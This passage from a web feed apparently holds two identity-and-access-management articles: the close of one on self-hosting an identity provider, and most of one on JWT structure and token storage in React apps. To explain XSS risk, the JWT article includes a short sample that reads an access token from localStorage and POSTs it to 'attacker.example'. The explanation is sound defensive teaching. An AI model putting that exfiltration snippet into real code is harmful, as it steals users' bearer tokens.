<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-running-an-identity-provider-involves">What running an identity provider involves<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#what-running-an-identity-provider-involves" class="hash-link" aria-label="Direct link to What running an identity provider involves" title="Direct link to What running an identity provider involves" translate="no">​</a></h2>
<p>Once an identity provider is self-hosted, it becomes infrastructure the organization operates.</p>
<p>The following areas should therefore be part of the product evaluation rather than something considered after production deployment.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="security-updates">Security updates<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#security-updates" class="hash-link" aria-label="Direct link to Security updates" title="Direct link to Security updates" translate="no">​</a></h3>
<p>Security fixes usually have the shortest operational timeline.</p>
<p>Getting the fix is only the first part. The more important question is how quickly and safely that fix reaches production.</p>
<p>Before an urgent vulnerability appears, the team should already know who owns identity updates, how an advisory moves from publication to deployment, what approvals are required, what test coverage exists, and which parts of the process can be automated.</p>
<p>It is also useful to measure the actual time required to move a normal update from availability to production. That number is a better indication of the real exposure window than an estimate made during an incident.</p>
<p>Commercial support can improve access to fixes, tested updates, and guidance, but under a self-hosted model the deployment process still belongs to the organization.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="upgrades">Upgrades<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#upgrades" class="hash-link" aria-label="Direct link to Upgrades" title="Direct link to Upgrades" translate="no">​</a></h3>
<p>Upgrade planning should start during product selection.</p>
<p>Identity software sits on the security boundary of many applications, so remaining on unsupported versions for long periods creates both security and operational risk.</p>
<p>Check the release cadence and supported-version policy together. A product releasing frequently but supporting older versions for a long period creates a different operational model from one with a shorter support window.</p>
<p>It is also important to confirm whether documented major-version upgrade procedures exist.</p>
<p>Customizations need particular attention. Authenticators, claim mappings, provisioning connectors, UI customizations, and other extensions are often the areas most affected during upgrades. Extensions built using documented extension points generally create a better upgrade path than changes depending on internal implementation details.</p>
<p>Finally, decide who will perform the upgrades.</p>
<p>The organization can build that capability internally, use a service provider, or purchase commercial support that includes migration guidance. Problems usually appear when this ownership is left undefined until the system is already several versions behind.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="availability-and-scaling">Availability and scaling<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#availability-and-scaling" class="hash-link" aria-label="Direct link to Availability and scaling" title="Direct link to Availability and scaling" translate="no">​</a></h3>
<p>Identity often starts as a dependency for one application and later becomes a shared dependency across many applications.</p>
<p>At that point, identity availability becomes application availability.</p>
<p>Depending on the product, a production deployment may require multiple nodes, shared session state, load balancing, and a database with its own high-availability design.</p>
<p>The evaluation should therefore include published throughput and concurrency numbers, recommended deployment topologies, and how the product scales as usage increases.</p>
<p>It is also useful to size for expected growth rather than only current traffic.</p>
<p>Identity is one of the more difficult infrastructure components to replace because changing the identity provider can affect every integrated application. Discovering later that the deployment architecture cannot meet expected scale can turn into a large migration project.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="secure-configuration">Secure configuration<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#secure-configuration" class="hash-link" aria-label="Direct link to Secure configuration" title="Direct link to Secure configuration" translate="no">​</a></h3>
<p>An identity provider holds credentials and issues tokens used across applications, so its configuration is part of the security boundary.</p>
<p>TLS certificates need a reliable renewal process.</p>
<p>Token-signing keys also need rotation. This is particularly relevant for APIs used by React applications because APIs commonly cache the provider's public signing keys. A rotation without an appropriate overlap period can cause otherwise valid tokens to fail validation.</p>
<p>Secrets accumulate around the identity provider as well, including database credentials, keystore passwords, and client secrets used for downstream integrations. These should be managed through an appropriate secrets-management mechanism rather than stored in source repositories or plaintext configuration.</p>
<p>The deployment itself also needs hardening. Administrative interfaces should not be exposed unnecessarily, default administrator credentials should be changed or removed, unused endpoints and protocols should be disabled, and administrative access should be separated appropriately from application deployment responsibilities.</p>
<p>Backups require the same security considerations as production data because an identity database backup contains user information.</p>
<p>More importantly, the restore process should be tested. Having a backup file and having a working recovery procedure are not the same thing.</p>
<p>Keeping the deployment reproducible from version-controlled configuration and automation makes most of these activities easier. Rebuilding the environment should be a known operational procedure rather than something that depends on the person who originally configured it.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="who-should-self-host">Who should self-host?<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#who-should-self-host" class="hash-link" aria-label="Direct link to Who should self-host?" title="Direct link to Who should self-host?" translate="no">​</a></h2>
<p>Self-hosting is not automatically the right choice for every organization.</p>
<ul>
<li class="">
<p><strong>Solo developer or small team:</strong> Operating an identity provider is usually not the best use of limited engineering time. A managed service can be a better starting point, particularly when it provides a free tier or low-cost entry point. An open source identity provider that is also available as SaaS can be especially useful. The team can start without running infrastructure and later move to a paid tier or self-hosted deployment as requirements change, while potentially keeping the same underlying identity technology.</p>
</li>
<li class="">
<p><strong>Scaling startup or SME with a platform team:</strong> A platform team may be fully capable of running an identity provider, but the question is whether doing so is the best use of that engineering capacity. A team may initially use SaaS and later find that increasing usage, deployment requirements, or cost makes self-hosting attractive. At that point, an open source product can provide several options: operate it internally, rely on community support, or add commercial support while retaining control of the deployment.</p>
</li>
<li class="">
<p><strong>Regulated enterprise:</strong> Requirements such as data residency, auditability, procurement, and deployment control can make self-hosted or private-cloud identity a natural fit. The distinction between proprietary and open source self-hosted software is sometimes reduced by licensing cost, but open source provides other properties that may be more important. The organization can inspect the source, run its own security analysis, understand the implementation in more detail, and develop extensions where the architecture allows it. Those freedoms can matter even when reducing software cost is not the primary objective.</p>
</li>
<li class="">
<p><strong>Air-gapped or restricted network:</strong> In an air-gapped or restricted environment, a public managed service may not be available at all. The evaluation then becomes more practical: can the software be installed, operated, and updated without outbound internet access, and does the license permit that deployment model? Open source can provide an advantage here because the organization retains access to the software and can inspect and adapt it within the constraints of the network.</p>
</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-to-go-from-here">Where to go from here<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#where-to-go-from-here" class="hash-link" aria-label="Direct link to Where to go from here" title="Direct link to Where to go from here" translate="no">​</a></h2>
<p>Self-hosting determines who operates the identity system. Open source determines what freedoms you have over the software. Commercial support determines how much of the operational responsibility you want to carry alone.</p>
<p>Those are related decisions, but they are not the same decision.</p>
<p>If your application is simple and a managed service meets the requirement, there may be little reason to operate an identity provider yourself. Self-hosting starts to make more sense when deployment control, regulatory requirements, cost, customization, or the need to share identity across multiple applications and systems becomes important.</p>
<p>If WSO2 Identity Server fits those requirements, the Apache 2.0-licensed software can be deployed and operated independently, while commercial support remains a separate choice.</p>
<p>The useful approach is to keep these decisions separate: choose the identity software based on the capabilities and architecture you need, choose the deployment model based on your operational constraints, and decide how much support you need based on what your team is prepared to operate over the long term.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>Self-hosted IAM</category>
            <category>Open-source IAM</category>
            <category>User Authentication</category>
        </item>
        <item>
            <title><![CDATA[JWT-Based Authentication in React: Storage, Validation and the localStorage Question]]></title>
            <link>https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react</link>
            <guid>https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react</guid>
            <pubDate>Mon, 07 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Where to store JWTs in a React app, how to validate them, and why localStorage is usually the wrong answer.]]></description>
            <content:encoded><![CDATA[<p>When a user signs in to a React application using OpenID Connect (OIDC), the application typically receives an access token for calling APIs and an ID token containing information about the authenticated user. The ID token is returned as part of a successful OIDC flow when the application requests the <code>openid</code> scope.</p>
<p>If you followed the <a class="" href="https://choreolabs.com/identity-and-access-management/learn/oauth-oidc-pkce-for-react">Authorization Code flow with PKCE</a>, you would have seen these tokens in the token response.</p>
<p><img decoding="async" loading="lazy" alt="The access token as a short opaque string next to the three-part, period-separated ID token (JWT)" src="https://choreolabs.com/identity-and-access-management/learn/assets/images/1-facf71c2299a31c27f0cd78e8f7144fc.png" width="1486" height="332" class="img_ev3q"></p>
<p>Look closely at the two tokens. The access token is a short, seemingly random string. The ID token is much longer and consists of three sections separated by periods (<code>.</code>).</p>
<p>The access token in this example is an <strong>opaque token</strong>. Its contents aren't directly meaningful to the application because the token doesn't expose the information it represents. The API can validate it through the authorization server's token introspection endpoint to determine whether it is valid and what permissions are associated with it.</p>
<p>WSO2 Identity Platform supports both opaque and JWT access tokens. You choose the access token type for each application in its protocol settings, so the same organization can issue opaque tokens to one application and JWTs to another.</p>
<p>The ID token is typically a signed <strong>JSON Web Token (JWT)</strong>. Its payload contains claims that the application can decode and inspect without contacting the identity provider (the OpenID Provider, in OIDC terms). However, decoding the claims doesn't establish whether they can be trusted.</p>
<p>Once the application receives these tokens, it needs to manage their storage, validation, and lifecycle. We'll look at how JWTs work, what different storage options expose, and how to handle tokens in a React application.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-a-jwt-is-and-what-it-is-not">What a JWT is and what it is not<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#what-a-jwt-is-and-what-it-is-not" class="hash-link" aria-label="Direct link to What a JWT is and what it is not" title="Direct link to What a JWT is and what it is not" translate="no">​</a></h2>
<p>A signed JSON Web Token (JWT), such as the ID token in our example, contains three sections: <strong>header</strong>, <strong>payload</strong>, and <strong>signature</strong>.</p>
<p>These sections are Base64URL-encoded and separated by periods (<code>.</code>):</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">&lt;base64url-header&gt;.&lt;base64url-payload&gt;.&lt;signature&gt;</span><br></span></code></pre></div></div>
<p>This is the compact representation of a signed JWT. Encrypted JWTs also exist, but their compact representation has five sections.</p>
<p>We'll focus on signed JWTs because they're commonly used for OIDC ID tokens.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="header-payload-signature">Header, Payload, Signature<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#header-payload-signature" class="hash-link" aria-label="Direct link to Header, Payload, Signature" title="Direct link to Header, Payload, Signature" translate="no">​</a></h3>
<p>Let's look at each part.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="header">Header<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#header" class="hash-link" aria-label="Direct link to Header" title="Direct link to Header" translate="no">​</a></h4>
<p>The header identifies the token type and the algorithm used to sign it.</p>
<p>For example:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"typ"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"JWT"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"alg"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"RS256"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p><code>typ</code> identifies the token type, while <code>alg</code> identifies the signing algorithm.</p>
<p>The receiving application uses this information during signature verification. However, it must only accept algorithms permitted by its own configuration rather than trusting any algorithm declared by the token.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="payload">Payload<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#payload" class="hash-link" aria-label="Direct link to Payload" title="Direct link to Payload" translate="no">​</a></h4>
<p>The payload contains information carried by the token in the form of <strong>claims</strong>.</p>
<p>For an ID token, these claims describe the user and the authentication that took place. A decoded payload from WSO2 Identity Platform might look like this:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"iss"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"https://api.asgardeo.io/t/&lt;your-organization&gt;/oauth2/token"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"sub"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"user@example.com"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"aud"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"YOUR_CLIENT_ID"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"exp"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">1767225600</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"iat"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">1767222000</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>You'll commonly see claims such as:</p>
<ul>
<li class=""><code>iss</code> — who issued the token.</li>
<li class=""><code>sub</code> — who the token is about.</li>
<li class=""><code>aud</code> — who the token is intended for.</li>
<li class=""><code>exp</code> — when the token expires.</li>
<li class=""><code>iat</code> — when the token was issued.</li>
</ul>
<p>The <code>iss</code> value must match the issuer identifier published by the identity provider. In WSO2 Identity Platform, the issuer is your organization's token endpoint URL. Other identity providers may use a different issuer format.</p>
<p><strong>JWT describes the token format, not its purpose.</strong></p>
<p>An ID token is typically a JWT, but access tokens can also be issued as JWTs.</p>
<p>A JWT access token and a JWT ID token may have the same three-part structure while carrying different claims because they serve different purposes.</p>
<p>An ID token provides identity information to the client application. An access token is used to access a protected resource. A React application shouldn't use an ID token in place of an access token when calling an API.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="signature">Signature<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#signature" class="hash-link" aria-label="Direct link to Signature" title="Direct link to Signature" translate="no">​</a></h4>
<p>The signature allows the receiver to detect whether the header or payload has been changed after the token was issued.</p>
<p>How the signature is created and verified depends on the signing algorithm.</p>
<p>With asymmetric algorithms such as RS256, the identity provider signs the encoded header and payload using its private signing key. The receiver uses the corresponding public key to verify the signature.</p>
<p>With symmetric algorithms such as HS256, the same shared secret is used to create and verify the signature.</p>
<p>We'll use RS256 for the remaining examples.</p>
<p>If someone changes a claim in the payload after the token was signed, the existing signature will no longer verify.</p>
<p>The signature protects the <strong>integrity</strong> of the token. When verified using a trusted key associated with the expected issuer, it also helps establish who signed it.</p>
<p>It does not hide the contents.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="signed-does-not-mean-encrypted">Signed does not mean encrypted<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#signed-does-not-mean-encrypted" class="hash-link" aria-label="Direct link to Signed does not mean encrypted" title="Direct link to Signed does not mean encrypted" translate="no">​</a></h3>
<p>A JWT can look like an unreadable string, but Base64URL encoding doesn't make its contents secret.</p>
<p>Signing and encryption serve different purposes:</p>
<ul>
<li class=""><strong>Signing</strong> allows a receiver to verify that the signed content hasn't been altered and that it was signed using an appropriate trusted key.</li>
<li class=""><strong>Encryption</strong> prevents unauthorized parties from reading the content.</li>
</ul>
<p>Encrypted JWTs exist, but ID tokens are typically signed because the application needs to verify the identity claims they carry.</p>
<p>Anyone who obtains a signed, unencrypted ID token can decode and read its payload.</p>
<p>Now let's look at where a React application can store these tokens.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-question-behind-the-question-what-are-you-defending-against">The question behind the question: what are you defending against?<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#the-question-behind-the-question-what-are-you-defending-against" class="hash-link" aria-label="Direct link to The question behind the question: what are you defending against?" title="Direct link to The question behind the question: what are you defending against?" translate="no">​</a></h2>
<p>Token storage is important for access tokens.</p>
<p>A bearer access token is a credential. Anyone who obtains it can present it to an API and exercise its permissions until it expires or is revoked, unless additional protections such as sender-constraining apply.</p>
<p>Storage becomes important for ID tokens too because they can contain identity information about the signed-in user. However, stealing an ID token doesn't automatically provide the same API access as stealing an access token.</p>
<p>A React application can keep authentication state in four common places:</p>
<ul>
<li class=""><strong>localStorage</strong> — browser-managed key-value storage that JavaScript running in the same origin can read and write.</li>
<li class=""><strong>sessionStorage</strong> — similar browser storage, but scoped to a browser tab and its session.</li>
<li class=""><strong>In memory</strong> — keeps the token in JavaScript memory, such as a variable, store, or ref.</li>
<li class=""><strong>Cookies</strong> — values stored by the browser and sent with matching HTTP requests. Cookies can be marked HttpOnly so JavaScript cannot read their values.</li>
</ul>
<p>An application with a backend can also keep OAuth tokens out of the browser entirely using an architecture such as a <strong>Backend for Frontend (BFF)</strong>.</p>
<p>The storage decision is largely shaped by two browser security risks: <strong>cross-site scripting (XSS)</strong> and <strong>cross-site request forgery (CSRF)</strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="xss-the-attacker-runs-script-in-your-origin">XSS: the attacker runs script in your origin<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#xss-the-attacker-runs-script-in-your-origin" class="hash-link" aria-label="Direct link to XSS: the attacker runs script in your origin" title="Direct link to XSS: the attacker runs script in your origin" translate="no">​</a></h3>
<p>Cross-site scripting occurs when malicious JavaScript executes within your application's origin.</p>
<p>This can happen through a vulnerable component, unsafe HTML handling, a compromised dependency, or a third-party script.</p>
<p>Once the malicious script is executing in the same origin, the browser generally gives it the same access to origin-scoped storage as your application code.</p>
<p>If the access token is stored in localStorage, the script can read it:</p>
<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> stolenToken </span><span class="token operator">=</span><span class="token plain"> </span><span class="token dom variable" style="color:#C43300">localStorage</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">getItem</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"access_token"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>It can then send the value to another server:</p>
<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token function" style="color:#0B1633;font-weight:600">fetch</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"https://attacker.example/steal"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">method</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"POST"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">body</span><span class="token operator">:</span><span class="token plain"> stolenToken</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>If the attacker obtains a bearer access token, they can use it directly against the API.</p>
<p>sessionStorage has the same JavaScript-access problem:</p>
<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> token </span><span class="token operator">=</span><span class="token plain"> </span><span class="token dom variable" style="color:#C43300">sessionStorage</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">getItem</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"access_token"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>The difference is how long the token persists, not whether JavaScript running in the page can read it.</p>
<p>Token theft isn't the only risk. Malicious JavaScript running in an authenticated application can also make authenticated requests while the page remains open.</p>
<p>Some storage approaches make credentials harder to extract and reuse elsewhere, but they don't prevent all actions an attacker can perform through a compromised page.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="csrf-the-attacker-makes-the-browser-send-your-cookie">CSRF: the attacker makes the browser send your cookie<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#csrf-the-attacker-makes-the-browser-send-your-cookie" class="hash-link" aria-label="Direct link to CSRF: the attacker makes the browser send your cookie" title="Direct link to CSRF: the attacker makes the browser send your cookie" translate="no">​</a></h3>
<p>Cross-site request forgery (CSRF) works differently.</p>
<p>The attacker doesn't need to steal an authentication cookie or execute JavaScript inside your React application.</p>
<p>Instead, another website causes the user's browser to send a request to your application.</p>
<p>Suppose the user is signed in to <code>https://bank.example.com</code> and has a session cookie for that website.</p>
<p>If the user visits a malicious website, it may try to trigger a request to <code>https://bank.example.com/transfer</code>.</p>
<p>Depending on the cookie attributes and request context, the browser may attach the user's session cookie to that request.</p>
<p>The server could then receive an authenticated request that the user never intended to make.</p>
<p>An HttpOnly cookie prevents JavaScript from reading the cookie value directly. It doesn't prevent the browser from automatically attaching that cookie to eligible requests.</p>
<p>Applications using cookie-based authentication therefore need appropriate CSRF defenses.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-to-store-it-four-options-honestly-compared">Where to store it: four options, honestly compared<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#where-to-store-it-four-options-honestly-compared" class="hash-link" aria-label="Direct link to Where to store it: four options, honestly compared" title="Direct link to Where to store it: four options, honestly compared" translate="no">​</a></h2>
<p>Each storage option affects how credentials can be accessed, how long they persist, and whether the browser sends them automatically.</p>
<p>Here's a comparison:</p>
<table><thead><tr><th>Store</th><th>XSS exposure</th><th>CSRF exposure</th><th>Survives reload</th><th>Complexity</th></tr></thead><tbody><tr><td>localStorage</td><td>Same-origin JavaScript can read it</td><td>None from storage itself</td><td>Yes, including browser restarts</td><td>Low</td></tr><tr><td>sessionStorage</td><td>JavaScript in the tab can read it</td><td>None from storage itself</td><td>Yes, within the tab session</td><td>Low</td></tr><tr><td>In memory</td><td>Potentially accessible to running application JavaScript</td><td>None from storage itself</td><td>No</td><td>Low</td></tr><tr><td>HttpOnly cookie</td><td>JavaScript cannot read it directly</td><td>Depends on cookie behavior and server-side defenses</td><td>Depends on cookie lifetime</td><td>Medium; requires a server</td></tr></tbody></table>
<p>The CSRF column refers to risks associated with the storage mechanism. It doesn't mean applications using localStorage, sessionStorage, or memory cannot have CSRF vulnerabilities elsewhere.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="localstorage-convenient-and-usually-the-wrong-answer">localStorage: convenient, and usually the wrong answer<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#localstorage-convenient-and-usually-the-wrong-answer" class="hash-link" aria-label="Direct link to localStorage: convenient, and usually the wrong answer" title="Direct link to localStorage: convenient, and usually the wrong answer" translate="no">​</a></h3>
<p>localStorage is convenient because it's simple and persistent:</p>
<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token dom variable" style="color:#C43300">localStorage</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">setItem</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"access_token"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> token</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>The token survives page reloads and browser restarts, allowing the application to restore authentication state.</p>
<p>However, every script executing in the application's origin can also access it:</p>
<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token dom variable" style="color:#C43300">localStorage</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">getItem</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"access_token"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>If malicious JavaScript runs in the application, it can copy the access token and send it elsewhere.</p>
<p>The problem isn't unique to localStorage. Other JavaScript-accessible stores are vulnerable to similar attacks.</p>
<p>With localStorage, the additional concern is persistence. The bearer token remains available across browsing sessions, increasing the period during which a successful XSS attack could extract it.</p>
<p>For long-lived tokens, this creates unnecessary exposure.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="sessionstorage-the-same-problem-shorter-fuse">sessionStorage: the same problem, shorter fuse<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#sessionstorage-the-same-problem-shorter-fuse" class="hash-link" aria-label="Direct link to sessionStorage: the same problem, shorter fuse" title="Direct link to sessionStorage: the same problem, shorter fuse" translate="no">​</a></h3>
<p>sessionStorage is also accessible to JavaScript running in the application, but its lifetime is shorter.</p>
<p>The token survives a page reload within the same tab and is generally removed when that tab's session ends.</p>
<p>This reduces persistence compared with localStorage.</p>
<p>It doesn't change the underlying XSS risk. Malicious JavaScript executing in the tab can still read the token.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="in-memory-less-persistent-awkward-across-reloads">In memory: less persistent, awkward across reloads<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#in-memory-less-persistent-awkward-across-reloads" class="hash-link" aria-label="Direct link to In memory: less persistent, awkward across reloads" title="Direct link to In memory: less persistent, awkward across reloads" translate="no">​</a></h3>
<p>An application can keep access tokens in JavaScript memory without writing them to browser storage.</p>
<p>For example, the token might be held in a module variable, React ref, or application store.</p>
<p>When the page's execution context is destroyed, the token disappears.</p>
<p>This avoids leaving the token in persistent browser storage, but it complicates recovery after a reload.</p>
<p>The application needs a way to obtain a new access token or restore authentication state without requiring a full sign-in every time.</p>
<p>In-memory storage also doesn't make a running application immune to XSS. Malicious JavaScript may still interact with application code or trigger authenticated requests.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="httponly-cookie-strong-but-you-inherit-csrf-and-samesite-decisions">HttpOnly cookie: strong, but you inherit CSRF and SameSite decisions<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#httponly-cookie-strong-but-you-inherit-csrf-and-samesite-decisions" class="hash-link" aria-label="Direct link to HttpOnly cookie: strong, but you inherit CSRF and SameSite decisions" title="Direct link to HttpOnly cookie: strong, but you inherit CSRF and SameSite decisions" translate="no">​</a></h3>
<p>An HttpOnly cookie cannot be read directly by JavaScript.</p>
<p>This can keep an authentication credential outside the reach of scripts running in your React application.</p>
<p>However, a pure React application cannot create an HttpOnly cookie. A server must set it using the <code>Set-Cookie</code> response header.</p>
<p>For example:</p>
